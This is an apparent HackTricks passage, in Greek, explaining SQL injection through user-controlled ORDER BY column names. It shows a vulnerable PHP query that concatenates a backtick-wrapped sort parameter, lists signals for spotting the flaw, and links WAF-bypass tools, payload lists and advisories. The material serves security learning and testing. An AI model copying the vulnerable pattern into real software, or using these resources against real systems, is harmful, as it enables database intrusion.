Τα Prepared statements cannot bind identifiers (ονόματα στηλών ή πινάκων). Ένα κοινό μη ασφαλές μοτίβο είναι να παίρνει μια από τον χρήστη ελεγχόμενη παράμετρο sort και να κατασκευάζει το ORDER BY χρησιμοποιώντας συνένωση συμβολοσειρών, μερικές φορές τυλίγοντας την είσοδο σε backticks για να την “sanitize”. Αυτό εξακολουθεί να επιτρέπει SQLi επειδή το πλαίσιο των identifiers ελέγχεται από τον attacker.
Ευάλωτο μοτίβο:
$sort = $_POST['sort'];
$q = "SELECT id,item_name FROM items WHERE user_id=? ORDER BY `$sort`";
$stmt = $pdo->prepare($q);
$stmt->execute([$user_id]);
Σήματα στην κυκλοφορία:
- Παράμετρος sort στο POST (συχνά
sort=column), όχι σταθερή λίστα επιτρεπόμενων. - Η αλλαγή του
sortσπάει το query ή αλλάζει τη σειρά εξόδου.
Εργαλεία προτάσεων για WAF bypass
GitHub - m4ll0k/Atlas: Quick SQLMap Tamper Suggester \xc2\xb7 GitHub
Άλλοι Οδηγοί
- https://sqlwiki.netspi.com/
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
Λίστα ανίχνευσης Brute-Force
Auto_Wordlists/wordlists/sqli.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
Αναφορές
- https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/
- https://blog.securelayer7.net/cve-2026-22730-sql-injection-spring-ai-mariadb/
- HTB: Gavel
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


